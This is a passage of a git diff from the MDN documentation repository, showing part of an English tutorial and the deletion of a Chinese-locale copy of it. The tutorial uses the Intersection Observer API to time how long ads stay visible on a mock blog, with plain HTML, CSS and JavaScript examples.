
+ +

The ads are created using a function called loadRandomAd(), which both creates the ad and inserts it into the page. We'll see later that this same function can also replace an existing ad, but for now, we're simply appending ads to the existing content.

+ +

Creating an article

+ +

To create the {{HTMLElement("article")}} element for an article (as well as all of its contents), we use the createArticle() function, which takes as input a string which is the full text of the article to add to the page.

+ +
function createArticle(contents) {
+  let articleElem = document.createElement("article");
+  articleElem.id = nextArticleID;
+
+  let titleElem = document.createElement("h2");
+  titleElem.id = nextArticleID;
+  titleElem.innerText = "Article " + nextArticleID + " title";
+  articleElem.appendChild(titleElem);
+
+  articleElem.innerHTML += contents;
+  nextArticleID +=1 ;
+
+  return articleElem;
+}
+ +

First, the <article> element is created and its ID is set to the unique value nextArticleID (which starts at 1 and goes up for each article). Then we create and append an {{HTMLElement("h2")}} element for the article title and then we append the HTML from contents to that. Finally, nextArticleID is incremented (so that the next element gets a new unique ID) and we return the new <article> element to the caller.

+ +

Creating an ad

+ +

The loadRandomAd() function simulates loading an ad and adding it to the page. If you don't pass a value for replaceBox, a new element is created to contain the ad; the ad is then appended to the page. if you specify a replaceBox, that box is treated as an existing ad element; instead of creating a new one, the existing element is changed to contain the new ad's style, content, and other data. This avoids the risk of lengthy layout work being done when you update the ad, which could happen if you first delete the old element then insert a new one.

+ +
function loadRandomAd(replaceBox) {
+  let ads = [
+    {
+      bgcolor: "#cec",
+      title: "Eat Green Beans",
+      body: "Make your mother proud—they're good for you!"
+    },
+    {
+      bgcolor: "aquamarine",
+      title: "MillionsOfFreeBooks.whatever",
+      body: "Read classic literature online free!"
+    },
+    {
+      bgcolor: "lightgrey",
+      title: "3.14 Shades of Gray: A novel",
+      body: "Love really does make the world go round..."
+    },
+    {
+      bgcolor: "#fee",
+      title: "Flexbox Florist",
+      body: "When life's layout gets complicated, send flowers."
+    }
+  ];
+  let adBox, title, body, timerElem;
+
+  let ad = ads[Math.floor(Math.random()*ads.length)];
+
+  if (replaceBox) {
+    adObserver.unobserve(replaceBox);
+    adBox = replaceBox;
+    title = replaceBox.querySelector(".title");
+    body = replaceBox.querySelector(".body");
+    timerElem = replaceBox.querySelector(".timer");
+  } else {
+    adBox = document.createElement("div");
+    adBox.className = "ad";
+    title = document.createElement("h2");
+    body = document.createElement("p");
+    timerElem = document.createElement("div");
+    adBox.appendChild(title);
+    adBox.appendChild(body);
+    adBox.appendChild(timerElem);
+  }
+
+  adBox.style.backgroundColor = ad.bgcolor;
+
+  title.className = "title";
+  body.className = "body";
+  title.innerText = ad.title;
+  body.innerHTML = ad.body;
+
+  adBox.dataset.totalViewTime = 0;
+  adBox.dataset.lastViewStarted = 0;
+
+  timerElem.className="timer";
+  timerElem.innerText = "0:00";
+
+  if (!replaceBox) {
+    contentBox.appendChild(adBox);
+  }
+
+  adObserver.observe(adBox);
+}
+ +

First is the array ads. This array contains the data needed to create each ad. We have four here to choose from at random. In a real-world scenario, of course, the ads would come from a database or, more likely, an advertising service from which you fetch ads using an API. However, our needs are simple: each ad is represented by an object with three properties: a background color (bgcolor), a title (title), and a body text string (body).

+ +

Then we define several variables:

+ +
+
adBox
+
This will be set to the element that represents the ad. For new ads being appended to the page, this is created using {{domxref("Document.createElement()")}}. When replacing an existing ad, this is set to the specified ad element (replaceBox).
+
title
+
Will hold the {{HTMLElement("h2")}} element representing the ad's title.
+
body
+
Will hold the {{HTMLElement("p")}} representing the ad's body text.
+
timerElem
+
Will hold the {{HTMLElement("div")}} element which contains the time the ad has been visible so far.
+
+ +

A random ad is selected by computing Math.floor(Math.random() * ads.length); the result is a value between 0 and one less than the number of ads. The corresponding ad is now known as adBox.

+ +

If a value is specified for replaceBox, we use that as the ad element. To do so, we begin by ending observation of the element by calling {{domxref("IntersectionObserver.unobserve()")}}. Then the local variables for each of the elements that comprise an ad: the ad box itself, the title, the body, and the timer box, are all set to the corresponding elements in the existing ad.

+ +

If no value is specified for replaceBox, we create a new ad element. The ad's new {{HTMLElement("div")}} element is created and its properties established by setting its class name to "ad". Next, the ad title element is created, along with the body and the visibility timer; these are an {{HTMLElement("h2")}}, a {{HTMLElement("p")}}, and a {{HTMLElement("div")}} element, respectively. These elements are appended to the adBox element.

+ +

After that, the code paths converge once again. The ad's background color is set to the value specified in the new ad's record, and elements' classes and contents are set appropriately as well.

+ +

Next, it's time to set up the custom data properties to track the ad's visibility data by setting adBox.dataset.totalViewTime and adBox.dataset.lastViewStarted to 0.

+ +

Finally, we set the ID of the <div> which will show the timer we'll present in the ad to show how long it's been visible, giving it the class "timer". The initial text is set to "0:00", to represent the starting time of 0 minutes and 0 seconds, and it's appended to the ad.

+ +

If we're not replacing an existing ad, we need to append the element to the content area of the page using {{domxref("Node.appendChild", "Document.appendChild()")}}. If we're replacing an ad, it's already there, with its contents replaced with the new ad's. Then we call the {{domxref("IntersectionObserver.observe", "observe()")}} method on our Intersection Observer, adObserver, to start watching the ad for changes to its intersection with the viewport. From now on, any time the ad becomes 100% obscured or even a single pixel becomes visible, or the ad passes through 75% visible in one way or another, the {{anch("Handling intersection changes", "observer's callback")}} is executed.

+ +

Replacing an existing ad

+ +

Our {{anch("Handling intersection changes", "observer's callback")}} keeps an eye out for ads which become 100% obscured and have a total visible time of at least one minute. When that happens, the replaceAd() function is called with that ad's element as an input, so that the old ad can be replaced with a new one.

+ +
function replaceAd(adBox) {
+  let visibleTime;
+
+  updateAdTimer(adBox);
+
+  visibleTime = adBox.dataset.totalViewTime
+  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
+
+  loadRandomAd(adBox);
+}
+ +

replaceAd() begins by calling updateAdTimer() on the existing ad, to ensure that its timer is up-to-date. This ensures that when we read its totalViewTime, we see the exact final value for how long the ad was visible to the user. We then report that data; in this case, by logging it to console, but in the real world, you'd submit the information to an ad service's API or save it into a database.

+ +

Then we load a new ad by calling {{anch("Creating an ad", "loadRandomAd()")}}, specifying the ad to be replaced as an input parameter. As we saw previously, loadRandomAd() will replace an existing ad with content and data corresponding to a new ad, if you specify an existing ad's element as an input parameter.

+ +

The new ad's element object is returned to the caller in case it's needed.

+
+ +

Result

+ +

The resulting page looks like this. Try experimenting with scrolling around and watch how visibility changes affect the timers in each ad. Also note that each ad is replaced after one minute of visibility, and how the timers pause while the document is tabbed into the background.

+ +

{{EmbedLiveSample("fullpage_example", 750, 800)}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" "b/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" deleted file mode 100644 index 24446a0141..0000000000 --- "a/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" +++ /dev/null @@ -1,562 +0,0 @@ ---- -title: Timing element visibility with the Intersection Observer API -slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 -translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility ---- -
{{APIRef("Intersection Observer API")}}
- -
交叉点观察者API使得当感兴趣的元素或多或少被共享祖先节点或元素遮蔽时,可以方便地异步通知,包括 {{domxref("Document")}}本身。
- -
 
- -

The Intersection Observer API makes it easy to be asynchronously notified when elements of interest become more or less obscured by a shared ancestor node or element, including the {{domxref("Document")}} itself. In this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the Intersection Observer API to track how much time each ad is visible to the user. When an ad exceeds one minute of visible time, it will be replaced with a new one.

- -

Although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the API to quickly learn how to apply the Intersection Observer API to your own site.

- -

There's a good reason why the notion of tracking visibility of ads is being used in this example. It turns out that one of the most common uses of Flash or other script in advertising on the Web is to record how long each ad is visible, for the purpose of billing and payment of revenues. Without the Intersection Observer API, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. Using this API lets everything get streamlined by the browser to reduce the impact on performance substantially.

- -

Let's get started!

- -
-

Site structure: The HTML

- -

The site's structure is not too complicated. We'll be using CSS Grid to style and lay out the site, so we can be pretty straightforward here:

- -
<div class="wrapper">
-  <header>
-    <h1>A Fake Blog</h1>
-    <h2>Showing Intersection Observer in action!</h2>
-  </header>
-
-  <aside>
-    <nav>
-      <ul>
-        <li><a href="#link1">A link</a></li>
-        <li><a href="#link2">Another link</a></li>
-        <li><a href="#link3">One more link</a></li>
-      </ul>
-    </nav>
-  </aside>
-
-  <main>
-  </main>
-</div>
- -

This is the framework for the entire site. At the top is the site's header region, contained within a {{HTMLElement("header")}} block. Below that, we define the site's sidebar as a list of links within an {{HTMLElement("aside")}} block.

- -

Finally comes the main body. We start with an empty {{HTMLElement("main")}} element here. This box will be populated using script later.

- -

Styling the site with CSS

- -

With the structure of the site defined, we turn to the styling for the site. Let's look at the style for each component of the page individually.

- -

The basics

- -

We provide styles for the {{HTMLElement("body")}} and {{HTMLElement("main")}} elements to define the site's background as well as the grid the various parts of the site will be placed in.

- -
body {
-  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
-  background-color: aliceblue;
-}
-
-.wrapper {
-  display: grid;
-  grid-template-columns: auto minmax(min-content, 1fr);
-  grid-template-rows: auto minmax(min-content, 1fr);
-  max-width: 700px;
-  margin: 0 auto;
-  background-color: aliceblue;
-}
- -

The site's {{HTMLElement("body")}} is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color. Then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads).

- -

The wrapper establishes a CSS grid with two columns and two rows. The first column (sized automatically based on its content) is used for the sidebar and the second column (which will be used for body content) is sized to be at least the width of the contents of the column and at most all remaining available space.

- -

The first row will be used specially for the site header. The rows are sized the same way as the columns: the first one is automatically sized and the one uses the remaining space, but at least enough space to provide room for all elements within it.

- -

The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.

- -

The header

- -

The header is fairly simple, since for this example all it contains is some text. Its style looks like this:

- -
header {
-  grid-column: 1 / -1;
-  grid-row: 1;
-  background-color: aliceblue;
-}
- -

{{cssxref("grid-row")}} is set to 1, since we want the header to be placed in the top row of the site's grid. More interesting is our use of {{cssxref("grid-column")}} here; here we specify that we want the column to start in the first column and ends in the first column past the last grid line—in other words, the header spans across all of the columns within the grid. Perfect for our needs.

- -

The sidebar

- -

Our sidebar is used to present links to other pages on the site. None of them work in our example here, but they exist to help with the presentation of a blog-like experience. The sidebar is represented using an {{HTMLElement("aside")}} element, and is styled as follows:

- -
aside {
-  grid-column: 1;
-  grid-row: 2;
-  background-color: cornsilk;
-  padding: 5px 10px;
-}
-
-aside ul {
-  padding-left: 0;
-}
-
-aside ul li {
-  list-style: none;
-}
-
-aside ul li a {
-  text-decoration: none;
-}
- -

The most important thing to note here is that the {{cssxref("grid-column")}} is set to 1, to place the sidebar on the left-hand side of the screen. If you change this to -1, it will appear on the right (although some other elements will need some adjustments made to their margins to get the spacing just right). The {{cssxref("grid-row")}} is set to 2, to place it alongside the site body.

- -

The content body

- -

Speaking of the site's body: the main content of the site is kept in a {{HTMLElement("main")}} element. The following style is applied to that:

- -
main {
-  grid-column: 2;
-  grid-row: 2;
-  margin: 0;
-  margin-left: 16px;
-  font-size: 16px;
-}
- -

The primary feature here is that the grid position is set to place the body content in column 2, row 2.

- -

Articles

- -

Each article is contained in an {{HTMLElement("article")}} element, styled like this:

- -
article {
-  background-color: white;
-  padding: 6px;
-}
-
-article:not(:last-child) {
-  margin-bottom: 8px;
-}
-
-article h2 {
-  margin-top: 0;
-}
- -

This creates article boxes with a white background which float atop the blue background, with a small margin around the article. Every article which isn't the last item in the container has an 8px bottom margin to space things apart.

- -

Ads

- -

Finally, the ads have the following initial styling. Individual ads may customize the style somewhat, as we'll see later.

- -
.ad {
-  height: 96px;
-  padding: 6px;
-  border-color: #555;
-  border-style: solid;
-  border-width: 1px;
-}
-
-.ad:not(:last-child) {
-  margin-bottom: 8px;
-}
-
-.ad h2 {
-  margin-top: 0;
-}
-
-.ad div {
-  position: relative;
-  float: right;
-  padding: 0 4px;
-  height: 20px;
-  width: 120px;
-  font-size: 14px;
-  bottom: 30px;
-  border: 1px solid black;
-  background-color: rgba(255, 255, 255, 0.5);
-}
- -

There's nothing magic in here. It's fairly basic CSS.

- -

Tying it together with JavaScript

- -

That brings us to the JavaScript code which makes everything work. Let's start with the global variables:

- -
let contentBox;
-
-let nextArticleID = 1;
-let visibleAds = new Set();
-let previouslyVisibleAds = null;
-
-let adObserver;
-let refreshIntervalID = 0;
- -

These are used as follows:

- -
-
contentBox
-
A reference to the {{HTMLElement("main")}} element's {{domxref("HTMLElement")}} object in the DOM. This is where we'll insert the articles and ads.
-
nextArticleID
-
Each article is given a unique ID number; this variable tracks the next ID to use, starting with 1.
-
visibleAds
-
A {{jsxref("Set")}} which we'll use to track the ads currently visible on the screen.
-
previouslyVisibleAds
-
Used to temporarily store the list of visible ads while the document is not visible (for example, if the user has tabbed to another page).
-
adObserver
-
Will hold our {{domxref("IntersectionObserver")}} used to track the intersection between the ads and the <main> element's bounds.
-
refreshIntervalID
-
Used to store the interval ID returned by {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. This interval will be used to trigger our periodic refreshes of the ads' content.
-
- -

Setting up

- -

To set things up, we run the startup() function below when the page loads:

- -
window.addEventListener("load", startup, false);
-
-function startup() {
-  contentBox = document.querySelector("main");
-
-  document.addEventListener("visibilitychange", handleVisibilityChange, false);
-
-  let observerOptions = {
-    root: null,
-    rootMargin: "0px",
-    threshold: [0.0, 0.75]
-  };
-
-  adObserver = new IntersectionObserver(intersectionCallback,
-                    observerOptions);
-
-  buildContents();
-  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
-}
- -

First, a reference to the content wrapping {{HTMLElement("main")}} element is obtained, so we can insert our content into it. Then we set up an event listener for the {{event("visibilitychange")}} event. This event is sent when the document becomes hidden or visible, such as when the user switches tabs in their browser. The Intersection Observer API doesn't take this into account when detecting intersection, since intersection isn't affected by page visibility. Therefore, we need to pause our timers while the page is tabbed out; hence this event listener.

- -

Next we set up the options for the {{domxref("IntersectionObserver")}} which will monitor target elements (ads, in our case) for intersection changes relative to the document. The options are configured to watch for intersections with the document's viewport (by setting root to null). We have no margins to extend or contract the intersection root's rectangle; we want to match the boundaries of the document's viewport exactly for intersection purposes. And the threshold is set to an array containing the values 0.0 and 0.75; this will cause our callback to execute whenever a targeted element becomes completely obscured or first starts to become unobscured (intersection ratio 0.0) or passes through 75% visible in either direction (intersection ratio 0.75).

- -

The observer, adObserver, is created by calling IntersectionObserver's constructor, passing in the callback function, intersectionCallback, and our options.

- -

We then call a function buildContents(), which we'll define later to actually generate and insert into the document the articles and ads we want to present.

- -

Finally, we set up an interval which triggers once a second to handle any necessary refreshing. We need a one second refresh since we're displaying timers in all visible ads for the purposes of this example. You may not need an interval at all, or you might do it differently or using a different time interval.

- -

Handling document visibility changes

- -

Let's take a look at the handler for the {{event("visibilitychange")}} event. Our script receives this event when the document itself becomes visible or invisible. The most important scenario here is when the user switches tabs. Since Intersection Observer only cares about the intersection between the targeted elements and the intersection root, and not the tab's visibility (which is a different issue entirely), we need to use the Page Visibility API to detect these tab switches and disable our timers for the duration.

- -
function handleVisibilityChange() {
-  if (document.hidden) {
-    if (!previouslyVisibleAds) {
-      previouslyVisibleAds = visibleAds;
-      visibleAds = [];
-      previouslyVisibleAds.forEach(function(adBox) {
-        updateAdTimer(adBox);
-        adBox.dataset.lastViewStarted = 0;
-      });
-    }
-  } else {
-    previouslyVisibleAds.forEach(function(adBox) {
-      adBox.dataset.lastViewStarted = performance.now();
-    });
-    visibleAds = previouslyVisibleAds;
-    previouslyVisibleAds = null;
-  }
-}
- -

Since the event itself doesn't state whether the document has switched from visible to invisible or vice-versa, the {{domxref("document.hidden")}} property is checked to see if the document is not currently visible. Since it's theoretically possible to get called multiple times, we only proceed if we haven't already paused the timers and saved the visibility states of the existing ads.

- -

To pause the timers, all we need to do is remove the ads from the set of visible ads (visibleAds) and mark them as inactive. To do so, we begin by saving the set of visible ads into a variable known as previouslyVisibleAds to be sure we can restore them when the user tabs back into the document, and we then empty the visibleAds set so they won't be treated as visible. Then, for each of the ads that are being suspended, we call our updateAdTimer() function, which handles updating the ad's total visible time counter, then we set their dataset.lastViewStarted property to 0, which indicates that the tab's timer isn't running.

- -

If the document has just become visible, we reverse this process: first we go through previouslyVisibleAds and set each one's dataset.lastViewStarted to the current document's time (in milliseconds since the document was created) using the {{domxref("Performance.now", "performance.now()")}} method. Then we set visibleAds back to previouslyVisibleAds and set the latter to null. Now the ads are all restarted, and configured to know that they became visible at the current time, so that they will not add up the duration of time the page was tabbed away the next time they're updated.

- -

Handling intersection changes

- -

Once per pass through the browser's event loop, each {{domxref("IntersectionObserver")}} checks to see if any of its target elements have passed through any of the observer's intersection ratio thresholds. For each observer, a list of targets that have done so is compiled, and sent to the observer's callback as an array of {{domxref("IntersectionObserverEntry")}} objects. Our callback, intersectionCallback(), looks like this:

- -
function intersectionCallback(entries) {
-  entries.forEach(function(entry) {
-    let adBox = entry.target;
-
-    if (entry.isIntersecting) {
-      if (entry.intersectionRatio >= 0.75) {
-        adBox.dataset.lastViewStarted = entry.time;
-        visibleAds.add(adBox);
-      }
-    } else {
-      visibleAds.delete(adBox);
-      if ((entry.intersectionRatio === 0.0) && (adBox.dataset.totalViewTime >= 60000)) {
-        replaceAd(adBox);
-      }
-    }
-  });
-}
- -

As previously mentioned, the {{domxref("IntersectionObserver")}} callback receives as input an array of all of the observer's targeted elements which have become either more or less visible than one of the intersection observer ratios. We iterate over each of those entries—which are of type {{domxref("IntersectionObserverEntry")}}. If the target element is intersecting with the root, we know it has just transitioned from the obscured state to the visible state. If it's become at least 75% visible, then we consider the ad visible and we start the timer by setting the ad's dataset.lastViewStarted attribute to the transition time in {{domxref("IntersectionObserverEntry.time", "entry.time")}}, then add the ad to the set visibleAds so we know to process it as time goes by.

- -

If the ad has transitioned to the not-intersecting state, we remove the ad from the set of visible ads. Then we have one special behavior: we look to see if {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}} is 0.0; if it is, that means the element has become totally obscured. If that's the case, and the ad has been visible for at least a minute total, we call a function we'll create called replaceAd() to replace the existing ad with a new one. This way, the user sees a variety of ads over time, but the ads are only replaced while they can't be seen, resulting in a smooth experience.

- -

Handling periodic actions

- -

Our interval handler, handleRefreshInterval(), is called about once per second courtesy of the call to {{domxref("WindowOrGlobalScope.setInterval", "setInterval")}} made in the startup() function {{anch("Setting up", "described above")}}. Its main job is to update the timers every second and schedule a redraw to update the timers we'll be drawing within each ad.

- -
function handleRefreshInterval() {
-  let redrawList = [];
-
-  visibleAds.forEach(function(adBox) {
-    let previousTime = adBox.dataset.totalViewTime;
-    updateAdTimer(adBox);
-
-    if (previousTime != adBox.dataset.totalViewTime) {
-      redrawList.push(adBox);
-    }
-  });
-
-  if (redrawList.length) {
-    window.requestAnimationFrame(function(time) {
-      redrawList.forEach(function(adBox) {
-        drawAdTimer(adBox);
-      });
-    });
-  }
-}
- -

The array redrawList will be used to keep a list of all the ads which need to be redrawn during this refresh cycle, since it may not be exactly the same as the elapsed time due to system activity or because you've set the interval to something other than every 1000 milliseconds.

- -

Then, for each of the visible ads, we save the value of dataset.totalViewTime (the total number of milliseconds the ad has currently been visible, as of the last time it was updated) and then call updateAdTimer() to update the time. If it's changed, then we push the ad onto the redrawList so we know it needs to be updated during the next animation frame.

- -

Finally, if there's at least one element to redraw, we use {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} to schedule a function that will redraw each element in the redrawList during the next animation frame.

- -

Updating an ad's visibility timer

- -

Previously (see {{anch("Handling document visibility changes")}} and {{anch("Handling periodic actions")}}), we've seen that when we need to update an ad's "total visible time" counter, we call a function named updateAdTimer() to do so. This function takes as an input an ad's {{domxref("HTMLDivElement")}} object. Here it is:

- -
function updateAdTimer(adBox) {
-  let lastStarted = adBox.dataset.lastViewStarted;
-  let currentTime = performance.now();
-
-  if (lastStarted) {
-    let diff = currentTime - lastStarted;
-
-    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
-  }
-
-  adBox.dataset.lastViewStarted = currentTime;
-}
- -

To track an element's visible time, we use two custom data attributes (see {{htmlattrxref("data-*")}}) on every ad:

- -
-
lastViewStarted
-
The time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked.
-
totalViewTime
-
The total number of milliseconds the ad has been visible.
-
- -

These are accessed through each ad's {{domxref("HTMLElement.dataset")}} attribute, which provides a {{domxref("DOMStringMap")}} mapping each custom attribute's name to its value. The values are strings, but we can convert those to numbers easily enough—in fact, JavaScript generally does it automatically, although we'll have one instance where we have to do it ourselves.

- -

We start by fetching the time at which the ad's previous visibility status check time (adBox.dataset.lastViewStarted) into a local variable named lastStarted. We also get the current time-since-creation value using {{domxref("Performance.now", "performance.now()")}} into currentTime.

- -

If lastStarted is non-zero—meaning the timer is currently running, we compute the difference between the current time and the start time to determine the number of milliseconds the timer has been visible since the last time it became visible. This is added to the current value of the ad's totalViewTime to bring the total up to date. Note the use of {{jsxref("parseFloat()")}} here; because these values are strings, JavaScript tries to do a string concatenation instead of addition without it.

- -

Finally, the last-viewed time for the ad is updated to the current time. This is done whether the ad was running when this function was called or not; this causes the ad's timer to always be running when this function returns. This makes sense because this function is only called if the ad is visible, even if it's just now become visible.

- -

Drawing an ad's timer

- -

Inside each ad, for demonstration purposes, we draw the current value of its totalViewTime, converted into minutes and seconds. This is handled by passing the ad's element into the drawAdTimer() function:

- -
function drawAdTimer(adBox) {
-  let timerBox = adBox.querySelector(".timer");
-  let totalSeconds = adBox.dataset.totalViewTime / 1000;
-  let sec = Math.floor(totalSeconds % 60);
-  let min = Math.floor(totalSeconds / 60);
-
-  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
-}
- -

This code finds the ad's timer using its ID, "timer", and computes the number of seconds elapsed by dividing the ad's totalViewTime by 1000. Then it calculates the number of minutes and seconds elapsed before setting the timer's {{domxref("Node.innerText", "innerText")}} to a string representing that time in the form m:ss. The {{jsxref("String.padStart()")}} method is used to ensure that the number of seconds is padded out to two digits if it's less than 10.

- -

Building the page contents

- -

The buildContents() function is called by the {{anch("Setting up", "startup code")}} to select and insert into the document the articles and ads to be presented:

- -
let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" +
-  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
-  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
-  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
-  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
-  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
-  " cursus nunc.</p>";
-
-function buildContents() {
-  for (let i=0; i<5; i++) {
-    contentBox.appendChild(createArticle(loremIpsum));
-
-    if (!(i % 2)) {
-      loadRandomAd();
-    }
-  }
-}
-
- -

The variable loremIpsum contains the text we'll use for the body of all of our articles. Obviously in the real world, you'd have some code to pull articles from a database or the like, but this does the job for our purposes. Every article uses the same text; you could of course change that easily enough.

- -

buildContents() creates a page with five articles. Following every odd-numbered article, an ad is "loaded" and inserted into the page. Articles are inserted into the content box (that is, the {{HTMLElement("main")}} element that contains all the site content) after being created using a method called createArticle(), which we'll look at next.

- -

The ads are created using a function called loadRandomAd(), which both creates the ad and inserts it into the page. We'll see later that this same function can also replace an existing ad, but for now, we're simply appending ads to the existing content.

- -

Creating an article

- -

To create the {{HTMLElement("article")}} element for an article (as well as all of its contents), we use the createArticle() function, which takes as input a string which is the full text of the article to add to the page.

- -
function createArticle(contents) {
-  let articleElem = document.createElement("article");
-  articleElem.id = nextArticleID;
-
-  let titleElem = document.createElement("h2");
-  titleElem.id = nextArticleID;
-  titleElem.innerText = "Article " + nextArticleID + " title";
-  articleElem.appendChild(titleElem);
-
-  articleElem.innerHTML += contents;
-  nextArticleID +=1 ;
-
-  return articleElem;
-}
- -

First, the <article> element is created and its ID is set to the unique value nextArticleID (which starts at 1 and goes up for each article). Then we create and append an {{HTMLElement("h2")}} element for the article title and then we append the HTML from contents to that. Finally, nextArticleID is incremented (so that the next element gets a new unique ID) and we return the new <article> element to the caller.

- -

Creating an ad

- -

The loadRandomAd() function simulates loading an ad and adding it to the page. If you don't pass a value for replaceBox, a new element is created to contain the ad; the ad is then appended to the page. if you specify a replaceBox, that box is treated as an existing ad element; instead of creating a new one, the existing element is changed to contain the new ad's style, content, and other data. This avoids the risk of lengthy layout work being done when you update the ad, which could happen if you first delete the old element then insert a new one.

- -
function loadRandomAd(replaceBox) {
-  let ads = [
-    {
-      bgcolor: "#cec",
-      title: "Eat Green Beans",
-      body: "Make your mother proud—they're good for you!"
-    },
-    {
-      bgcolor: "aquamarine",
-      title: "MillionsOfFreeBooks.whatever",
-      body: "Read classic literature online free!"
-    },
-    {
-      bgcolor: "lightgrey",
-      title: "3.14 Shades of Gray: A novel",
-      body: "Love really does make the world go round..."
-    },
-    {
-      bgcolor: "#fee",
-      title: "Flexbox Florist",
-      body: "When life's layout gets complicated, send flowers."
-    }
-  ];
-  let adBox, title, body, timerElem;
-
-  let ad = ads[Math.floor(Math.random()*ads.length)];
-
-  if (replaceBox) {
-    adObserver.unobserve(replaceBox);
-    adBox = replaceBox;
-    title = replaceBox.querySelector(".title");
-    body = replaceBox.querySelector(".body");
-    timerElem = replaceBox.querySelector(".timer");
-  } else {
-    adBox = document.createElement("div");
-    adBox.className = "ad";
-    title = document.createElement("h2");
-    body = document.createElement("p");
-    timerElem = document.createElement("div");
-    adBox.appendChild(title);
-    adBox.appendChild(body);
-    adBox.appendChild(timerElem);
-  }
-
-  adBox.style.backgroundColor = ad.bgcolor;
-
-  title.className = "title";
-  body.className = "body";
-  title.innerText = ad.title;
-  body.innerHTML = ad.body;
-
-  adBox.dataset.totalViewTime = 0;
-  adBox.dataset.lastViewStarted = 0;
-
-  timerElem.className="timer";
-  timerElem.innerText = "0:00";
-
-  if (!replaceBox) {
-    contentBox.appendChild(adBox);
-  }
-
-  adObserver.observe(adBox);
-}
- -

First is the array ads. This array contains the data needed to create each ad. We have four here to choose from at random. In a real-world scenario, of course, the ads would come from a database or, more likely, an advertising service from which you fetch ads using an API. However, our needs are simple: each ad is represented by an object with three properties: a background color (bgcolor), a title (title), and a body text string (body).

- -

Then we define several variables:

- -
-
adBox
-
This will be set to the element that represents the ad. For new ads being appended to the page, this is created using {{domxref("Document.createElement()")}}. When replacing an existing ad, this is set to the specified ad element (replaceBox).
-
title
-
Will hold the {{HTMLElement("h2")}} element representing the ad's title.
-
body
-
Will hold the {{HTMLElement("p")}} representing the ad's body text.
-
timerElem
-
Will hold the {{HTMLElement("div")}} element which contains the time the ad has been visible so far.
-
- -

A random ad is selected by computing Math.floor(Math.random() * ads.length); the result is a value between 0 and one less than the number of ads. The corresponding ad is now known as adBox.

- -

If a value is specified for replaceBox, we use that as the ad element. To do so, we begin by ending observation of the element by calling {{domxref("IntersectionObserver.unobserve()")}}. Then the local variables for each of the elements that comprise an ad: the ad box itself, the title, the body, and the timer box, are all set to the corresponding elements in the existing ad.

- -

If no value is specified for replaceBox, we create a new ad element. The ad's new {{HTMLElement("div")}} element is created and its properties established by setting its class name to "ad". Next, the ad title element is created, along with the body and the visibility timer; these are an {{HTMLElement("h2")}}, a {{HTMLElement("p")}}, and a {{HTMLElement("div")}} element, respectively. These elements are appended to the adBox element.

- -

After that, the code paths converge once again. The ad's background color is set to the value specified in the new ad's record, and elements' classes and contents are set appropriately as well.

- -

Next, it's time to set up the custom data properties to track the ad's visibility data by setting adBox.dataset.totalViewTime and adBox.dataset.lastViewStarted to 0.

- -

Finally, we set the ID of the <div> which will show the timer we'll present in the ad to show how long it's been visible, giving it the class "timer". The initial text is set to "0:00", to represent the starting time of 0 minutes and 0 seconds, and it's appended to the ad.

- -

If we're not replacing an existing ad, we need to append the element to the content area of the page using {{domxref("Node.appendChild", "Document.appendChild()")}}. If we're replacing an ad, it's already there, with its contents replaced with the new ad's. Then we call the {{domxref("IntersectionObserver.observe", "observe()")}} method on our Intersection Observer, adObserver, to start watching the ad for changes to its intersection with the viewport. From now on, any time the ad becomes 100% obscured or even a single pixel becomes visible, or the ad passes through 75% visible in one way or another, the {{anch("Handling intersection changes", "observer's callback")}} is executed.

- -

Replacing an existing ad

- -

Our {{anch("Handling intersection changes", "observer's callback")}} keeps an eye out for ads which become 100% obscured and have a total visible time of at least one minute. When that happens, the replaceAd() function is called with that ad's element as an input, so that the old ad can be replaced with a new one.

- -
function replaceAd(adBox) {
-  let visibleTime;
-
-  updateAdTimer(adBox);
-
-  visibleTime = adBox.dataset.totalViewTime
-  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
-
-  loadRandomAd(adBox);
-}
- -

replaceAd() begins by calling updateAdTimer() on the existing ad, to ensure that its timer is up-to-date. This ensures that when we read its totalViewTime, we see the exact final value for how long the ad was visible to the user. We then report that data; in this case, by logging it to console, but in the real world, you'd submit the information to an ad service's API or save it into a database.

- -

Then we load a new ad by calling {{anch("Creating an ad", "loadRandomAd()")}}, specifying the ad to be replaced as an input parameter. As we saw previously, loadRandomAd() will replace an existing ad with content and data corresponding to a new ad, if you specify an existing ad's element as an input parameter.
